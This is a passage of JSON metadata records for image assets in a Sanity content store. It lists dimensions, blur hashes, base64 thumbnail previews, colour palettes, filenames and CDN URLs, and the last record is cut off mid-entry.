{"_createdAt":"2024-01-03T18:53:04Z","_id":"image-192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0-6542x4361-jpg","_rev":"cYm7NAkc6EQoa8jfA6duov","_type":"sanity.imageAsset","_updatedAt":"2024-01-03T18:53:04Z","assetId":"192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VF55bKNNNH%0V?%QNORkxZW9WAogoMWBj=ITxZt6NHof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5001146526026141,"height":4361,"width":6542},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBgcI/8QAIhAAAQMCBgMAAAAAAAAAAAAAAQACBAMRBRMhIjFRBhIV/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgQF/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQMAAhESBP/aAAwDAQACEQMRAD8A5+pzYooAVBmuuL+w47T/AAuV4qMMrMm0JBlvGxwdws+a4ki6k4kPuCVoN9ZcB0JKtQWTksMn5me/JY5lO+gOqEj1sNx47QlV/IwVEJXp3Z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344d3d","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072887","foreground":"#fff","population":1.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#072887","foreground":"#fff","population":1.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab5af","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#47a1ea","foreground":"#fff","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#505fa3","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#085be2","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC02430.jpg","path":"images/sczeoy4w/production/192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0-6542x4361.jpg","sha1hash":"192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0","size":20425303,"uploadId":"Y8WvkB9FBsIkJ34Sti9etBuIzXv0YMrK","url":"https://cdn.sanity.io/images/sczeoy4w/production/192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0-6542x4361.jpg"} {"_createdAt":"2022-09-17T18:37:37Z","_id":"image-19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b-1000x625-jpg","_rev":"4pG2it9AJU1nJxbjoKxf10","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:37:37Z","assetId":"19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":625,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGAv/EACYQAAEDAgUDBQAAAAAAAAAAAAECAwQAEQUGBxIhExQxMkGBkdH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAwT/xAAfEQABAwMFAAAAAAAAAAAAAAABAAIDBDFRBRETFCH/2gAMAwEAAhEDEQA/AHVZ7d78Nx8Lakw+Lp9Lo/acn6itQ3tsLCENLA4D5ufqonL80yIjshDSGi3YADm/zW5TCX8WbRIJc3J3AnymsrdSmPgsiSkaNiLp2bq5mPuFdJbCEewCPFFRuIRgZbm1RSAbWtRR3pMBS4Tlf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394c30","foreground":"#fff","population":6.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#756d0c","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#394c30","foreground":"#fff","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b79a","foreground":"#000","population":1.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0c2dd","foreground":"#000","population":6.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8f6b","foreground":"#fff","population":6.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d84662","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mybhutan-monk-at-hill.jpg","path":"images/sczeoy4w/production/19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b-1000x625.jpg","sha1hash":"19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b","size":196110,"uploadId":"CXmbiEo9IoAanxFaebu8jcvlEkZMEO9v","url":"https://cdn.sanity.io/images/sczeoy4w/production/19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b-1000x625.jpg"} {"_createdAt":"2024-03-25T11:46:27Z","_id":"image-19877175dfa96c4fd7bc0e352e3f46bd6e7e4239-400x400-jpg","_rev":"FsdEUX6qPquRWP6V15kwrR","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T11:46:27Z","assetId":"19877175dfa96c4fd7bc0e352e3f46bd6e7e4239","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIFr;X%M~qt7t7_3IUxuayM{IUt7RjxuWB_3t7M{RjWB%MRjIUj[of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAUGBwT/xAAkEAABBAICAQQDAAAAAAAAAAACAAEDBAURBiESBxMxUUFhkf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDt9Qs9awWGE8dD7tyYvbjbW9P9qicH5xyEs/BQzkTnDYPwYiDxcXWm8kr1JKkc12QYhryMYmX4dUvP5XG071S7eI3jhkEgIWbv99INLRRlHO4y9VCxXuwPGfbbNmdEGN+ovIsjbzFrHSzapxlpoxbW9faqeQzNyzXjqymLxA2m0Pf9REEWJE+38ybv4Z9IiIP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acacac","foreground":"#000","population":49.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacac","foreground":"#000","population":49.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"conference-photo.jpg","path":"images/sczeoy4w/production/19877175dfa96c4fd7bc0e352e3f46bd6e7e4239-400x400.jpg","sha1hash":"19877175dfa96c4fd7bc0e352e3f46bd6e7e4239","size":49503,"uploadId":"54ihkWz1TrMReQjNkJ26JIQFpB5ltMWy","url":"https://cdn.sanity.io/images/sczeoy4w/production/19877175dfa96c4fd7bc0e352e3f46bd6e7e4239-400x400.jpg"} {"_createdAt":"2022-06-15T20:02:32Z","_id":"image-19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdir2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:22Z","assetId":"19a5024177c9cf81ec933f2e5045ddd18cb69d85","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQla%lo-=VEX,TzMyn+tkVs-;VYELr?tR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADK0lEQVQokS2QzW/bZByA/b9w2QH+Au47IRAXLmiMSQg0VPUwMWnVxKZqA+EKrWo1YKCmzTaqtYmD2qm0W7smFLZ2SZO4SeomdhI7juOv931t58Npk2b5/dAQh0fPc344tWFfk6vGUkXRE3K1GZeVplBRdEGuNgWlZggN3RUc0hUICwVCuwJ52+7/ZqFAWRinLExQFkYp693kynIjkhNPlHSm4GeyRZoXT1hOPGHZ3DHLiRKTFZ05tsN8q8L8Zp4xs86I4zHiBIw4PqO0Qynreox1yox1HnC6QWO1uulVFB3lahNrqvkf1ZqB1XoLqzUd5dI+yq8iqL66j/aRgF4hhe39F9je28Egl0O/0UTfpY5P2SJHWLhCWI+4tIcu7Y0d0gXdIFBXW6A2LBDFIqzFFuD3n67DWuQ6ZGK3wY5+A6ffX4bhjUvjwZ0b474Qw650bHUcc5GjXn+Ven1KvT5Srw8u6aCsaJhOZ/HgIIPJZArjT6L4ZOkeJh7P4u7KPCqP7mDw41U8u/YJjD77CEaTEzhYXrb6irTAUdZbpaz39gMy1gFKAzT0Fh7lRUwlk7i5sYGbG2uYfJbAvZ01fJl6juI/Saym/kQz8RA601MwuPw5nk/dsge724scY+1VjwXUpz761BsHlELguuAaOlSKIvy9uw3riRgsP4xA5ME8RH6Zh+VHUXi2tQXFwwwYO8+BzM5h77sZa/j0jwgXELIauC4JXAfbrj3uuCZ03Rb0XAPapgqmUoSj/RRsrCxB9O4E/Pr1Rfht8mOIz92Fg+QOVEqlsfY6jSz5ggyzf8W5rl6L+ZrCaEPBoFXH0Naw76h4atfxzK7hma1gaEhIpJfYXP8B1en3sTZxAeWpD7D48zQebq1jpZBDr15oj/TcNhfK4n1Pyuatcl5nmqT2LUUb2Io2sCra0Cpr56akjaxjbWwWNDhe13DlKw1vvqePrl6wncmLjjh7u1ne29S7arYIrexj7lQrfdqtF24FanGm15T4gVXmh1aZP7ckfmSW+JFZ5N+0jvg3LZEfN17zsL/Aw+yH9/DLdyLDS+9GnW+vzNm7sZmBlp5G4/CLfwE3GNW21l5DtwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3b46","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812303","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f95923","foreground":"#fff","population":6.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbfbe","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5ce68","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626a8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95923","foreground":"#fff","population":6.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844.png","path":"images/sczeoy4w/production/19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844.png","sha1hash":"19a5024177c9cf81ec933f2e5045ddd18cb69d85","size":347203,"uploadId":"1ESBEBoMQ9BFJ4frVwdKlYZ7qyKf33jZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844.png"} {"_createdAt":"2022-06-15T20:01:41Z","_id":"image-19b011489eddfab9d3adbbb2057927a33193d6c4-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7bjN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:55Z","assetId":"19b011489eddfab9d3adbbb2057927a33193d6c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Bz8{00^+^+0000xaM{%Mxu00~q8_xu~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTUlEQVQokTXSz0vycADH8e++c/u6OVvfRzexNGvjmSI5bc1Yk2SW5u8FJYK6unQQhN2COgWCp4igSOkPiC4dnj+gg1fBo//QQ4qv+/v0+QAAAAEAQRAkSdI0zbIsxlgUxWg0KstyIpFQVTWbzWqaFolEvF4vhJBYA5AgWA+JGeYPz2OM/X4/x3E8zwcCgVAoFIlEJEkyDMNxnG63m0qlfD7fqocQAgpCkWHiQvBvLBbb3cUYI4ToJYQQwzA+n297e7vVaj09Pbmuq6oqx3EMw2xubgIPSQo8r+zsKLK8t7cXDocxxhsbGwghuEbTtKZpo9FoMpkMBoNisVgqldrtNvB4PKIoZjKZo+yRruvpdDqRSMiyLAgCx3EsyyKEKIqSJOnu7u77+/vr6+v9/f3l5eXt7e033traMo+Pi8WiZVn5fD6Xy+m6rqqqpmmHh4eKokSj0UKh8Pr6Op/PZ7PZ5+fnw8PDzc0NQAgpilKr1WzbrlarFxcXl5eXlUrFsqx6vW7b9unpaaPRGA6H0+l0sVj8/Px8fHy4rntycgK8Xm8ymWw0GtVqtV6vt9vtTqdTqVRUVZWWDg4OHMd5fn7+tzQej4fD4f39veM4gKKoWCxmmqZhGPl8vlwun5+f67ouCAJFUQiheDx+dXXV7/cfHx9Xmeu6/X7/9vb29x4sywYCgWAwKIpiOBwOhUKrwSCEHMft7+8XCoVyudzr9a6vrztLtm23Wi0AAIAQkmueJZIkV0/geT6ZTKbTacMwms1mqVTK5XKWZZmmeXZ29h9RIohrNk8+HAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#663332","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d1312","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbc","foreground":"#000","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbc","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e39d95","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4665a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"19b011489eddfab9d3adbbb2057927a33193d6c4-752x405.png","path":"images/sczeoy4w/production/19b011489eddfab9d3adbbb2057927a33193d6c4-752x405.png","sha1hash":"19b011489eddfab9d3adbbb2057927a33193d6c4","size":71690,"uploadId":"4cVcoKmwb8BLSDwvGUzh9Ym2iOVfHVhq","url":"https://cdn.sanity.io/images/sczeoy4w/production/19b011489eddfab9d3adbbb2057927a33193d6c4-752x405.png"} {"_createdAt":"2024-06-10T15:23:00Z","_id":"image-19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2-2140x1530-png","_rev":"rE19qWqXtwbnyVyXl5PhEW","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:23:00Z","assetId":"19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V8RD1V_2?bWHIW_4%3kCW9ImInt6D%-qbIELjFE1xukC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3986928104575163,"height":1530,"width":2140},"exif":{"PixelXDimension":2140,"PixelYDimension":1530,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAACP0lEQVQ4jWVU227TQBD1//MJfATvgBASlfrAE0UoFW0aJ77s/eZr7AQOmrHrUng4We3ZOWdmZ8fJpAuQNkD7CBcb+NhuoL32CcpHKBsgjYdykTnmXUShHW4f9nh78wVvPn5AJl2EsAEmJITUITQ9QrOuqYMNDsopKGvZ1PgEG9bEqYUOCbta4v3uHu/uviNL3YCmH9ENE/pxxnCe0Y8T75t+gIsCUj+gViWEshDaQRoHFxq03aJL/Rm27aGaDhkZTPMVl+vvDbQnvhtGWG9RVDny0wl5USM/1TgWNaR2aLph015XZN1wxnm6vDKcL784cDxf4EODYynwlJd4OpbY5wWvRaUQYovzajhfrpimC7KuXwzJ5F+QaUwdylot1a2gComjZOOzdr5iJsNhnDkLicn4BVThDB8bFJVEfqpwOFW85s+GsQHrpwvryTRLbQ9CbBakdkDTjWj7kXukXeC+PR5O2B+KBXnBSVxIHEOxbX8GtS+jUShqxX2irEIJflFpDLQNqKVhw/3aQ0Ze4lgIfnFNM+wiDM2ni8jopxQaeUGGArW8R1l/RSUOPCaV0DhV8j/Qo9BZrSy/uDKeBz/zDQ1v4kzW0Xz9gDY3UOaJOQ5cBRssid3GGxdgfeSebobKBBhn4fwdlP4MqR83s78NtV1AnNAv1VFyGqPMpRbGx/VAw7hvkOoThPq5iOjrWK/FMBS3mAllXp1pujJ9t/QnQE213sGHHYy7hbY5c3SdBUvj6WoE4qgqw62KnORYVPgD4mYfg0PaKgEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b9307","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dd39","foreground":"#000","population":0.65,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2c2a5","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ee3e4","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97060","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dd39","foreground":"#000","population":0.65,"title":"#000"}}},"mimeType":"image/png","originalFilename":"look-at-logs.png","path":"images/sczeoy4w/production/19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2-2140x1530.png","sha1hash":"19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2","size":1595760,"uploadId":"UJVnOXd3lD7KBoJD1lwtDWCW2lqTbfpp","url":"https://cdn.sanity.io/images/sczeoy4w/production/19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2-2140x1530.png"} {"_createdAt":"2023-06-07T09:08:51Z","_id":"image-19cc21991469173ec1dd07ce94b76e4f2d66e0ec-2564x1408-png","_rev":"rV9BZDYEBgQp95tIyV7TEk","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T09:08:51Z","assetId":"19cc21991469173ec1dd07ce94b76e4f2d66e0ec","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8210227272727273,"height":1408,"width":2564},"exif":{"PixelXDimension":2564,"PixelYDimension":1408,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABlUlEQVQokX2S64oUQQyF6/0fQgXfYBUfwL/qD4VlQQVB8O5MVSWpS+rSR1I9M17YsSE0TZIvJyftRqnoVdF7xxgDc05s2wZ77H1fWE1rDaUUFOvv/ZJz0Qf4o4f3HkQEVb0KOocNTikjRAKzLPgF+OUY8fVwhA8BIoJa62r4H7D3AZKMQIycy1/17nNgfA+8JrZa0VTRtWH23+vfB5SUwZKWAFv5XOuIGMIJWsrycmjDME+rQi1aWwrGmKtpzh1oAmzdnMuyaYducDlEkA/gSChL5Q5tuUJIlk9mhR1ATfmcq1kkIa5cWoc551wOBP/zgHA4IpOgmScGrYosCcEGnrz6E2jqzjk5QW0TZ02mLhEv2KyK2Tq2PjB6Xxf895daQBH4EHcfbWXLm4eFBYkFVRK6ZMxUMLUt4CXsihan764K8hGHbz/APu5bmfrW4Uog2NrVFLKgc8LIdVd6JaxGPnyCf3kLfnWH8vot6pv30Hcf4WpkFGJUFqgktJSvA8sJGBj5xS3o8TPQgxvQwyegR08hN8/xC9QvVuj9KgaOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#177584","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#debeca","foreground":"#000","population":1.87,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debeca","foreground":"#000","population":1.87,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c4c60","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e31d50","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-free-service.png","path":"images/sczeoy4w/production/19cc21991469173ec1dd07ce94b76e4f2d66e0ec-2564x1408.png","sha1hash":"19cc21991469173ec1dd07ce94b76e4f2d66e0ec","size":355001,"uploadId":"EpEl3iWs1vdHLZZwrVUI0CvvTqSaq5mp","url":"https://cdn.sanity.io/images/sczeoy4w/production/19cc21991469173ec1dd07ce94b76e4f2d66e0ec-2564x1408.png"} {"_createdAt":"2024-03-08T07:44:52Z","_id":"image-19dd046d215771e16491a9030303a1203cc91a87-3200x1712-png","_rev":"TOsxXx20RF0WqO4qub8SUg","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:44:52Z","assetId":"19dd046d215771e16491a9030303a1203cc91a87","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCCrf]Gs.-$eNE,@$%-7$es+1I|yFww]#,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8691588785046729,"height":1712,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADaUlEQVQokTWSW0xadxzHf6CcCXITEVuvVdbbxPb8Mcu6lDK2CQoc5HLkepADCJwDluJBUNQS7Zq0Wts6K70sS7p12drUbd2DLlnTlz10cZeXZg/b3hqh86HxaXvYI5s0+ybfh+/LJ99884WXl/lQ/QRAo3OA7n0rT28k+KffNfONBFlHkJSCIKnDVldAbXUF2q1koMVKUkKzK1hnGHby9G/qoNp/FLa1A1BGOFQQDvDXCgj2lvmCLzOdWJg0vGYkSEw3SAiGRjxCH80c9NHx1wmXv83i8KoCEaYrluJ64hPZjnAiLSVphnfL6YYqH2qw/4HivSv1kqczMsl8xt+YuP1U4l/ekgyGpmV+drorem7+WIDJHyDplDKWnulns+cNyaminuXmepJsRlAFgJ91Z3gVhGBXiwD+vgrY7nJjwxNOIiqtzsqvbW53cp9tt51JrsmD3OLB/KUPT3Ird/uo2fWORG6xb2rhsil34bolV7h09L7NJXyp6RM9HxgQlhHOrzWsfgPwbbadV2KOY5t3ky2Pt673rn36UaueyotvrE4pH2ysa658/vUJ+uK9juKF88dulpYGV2/ceefa9FL3L6dOS1/gJ5p3tEhWQXjdnwgB5C1tANANyaCpfmM9JP/hq5Tq3lpM/N6wTXjnKqP47tEHnR9/cVvlP7cgXyzmNaWVounm0kXNrSAj/xXXSioIV+wgJC0jvGHfAA1xUB8+CUarsz4coUSFfEwUCXsxw9CIMJacUOYKM10TmUyz1eERp9JcT35m9lQ2m+9l7KOin3AkrCAkL9eM70PlsK/fd/8Bh5cWUOPpJprNyc0kjRmJURHNTLazk3NvMJmCmoqmWmhmsoPl5vpZbvZImMk0lUxmwZ6mT/Bci7AywrEdhGPw47Pf4P6jLfCGElginWtN5+ZVvlC8YcjuaYymuLazU/PqJFc4NBY/eyCarOXeFFc4FGEnFaNj8bpihAF4+D3s4ji82N9wY/MJbD/7AwiSEnjG4k2esXiLxemXDlpJMRmIKnw00zpKjStt7qCMDESbfGFG5Q7GlHZPSGS2e3hvjachbbRCeUD7Cmj3hMAViIDJ5q43O30qi8t/xOL0dw2NeGRmx6tsdvq6TTa3dNjhbbY4/Wqzw9dpJEih9m1DbTK9kQA2vwA7/93mXzpXHG5+eLTtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a292d","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#583b0e","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e498","foreground":"#000","population":0.3,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccccac","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e498","foreground":"#000","population":0.3,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48d57","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a64154","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-hnsw-m.png","path":"images/sczeoy4w/production/19dd046d215771e16491a9030303a1203cc91a87-3200x1712.png","sha1hash":"19dd046d215771e16491a9030303a1203cc91a87","size":173797,"uploadId":"YPdN4y4kckrJYEbXcUuGxEkkjkXFRkiX","url":"https://cdn.sanity.io/images/sczeoy4w/production/19dd046d215771e16491a9030303a1203cc91a87-3200x1712.png"} {"_createdAt":"2023-09-19T13:45:23Z","_id":"image-19e32c1a2dfc830e95626b966ec7edebbb0bfb12-1200x628-jpg","_rev":"OlHhyDbudqKag6cjy0F3VG","_type":"sanity.imageAsset","_updatedAt":"2023-09-19T13:45:23Z","assetId":"19e32c1a2dfc830e95626b966ec7edebbb0bfb12","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYPGHz*IrX$yOut5NHrqO],+nTx]nNNyi^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAwX/xAAhEAABBAICAgMAAAAAAAAAAAABAAIDBQQREhMhMSIjQf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBf/EAB4RAAICAgIDAAAAAAAAAAAAAAECAAMEESExBQZh/9oADAMBAAIRAxEAPwC85sFs/Kl6XER8tt+X4ufm8zWTNzJndwOi3nvSamD7pFPbkkXVkAfGwltdkx7LU4KjYl49Ye5UbomYS09HLIX5B4yH2C5CWrAk5kmyfaFo1+vYVqB2QbPPURvMZqEqth0Ps//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464962","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#161a3c","foreground":"#fff","population":3.65,"title":"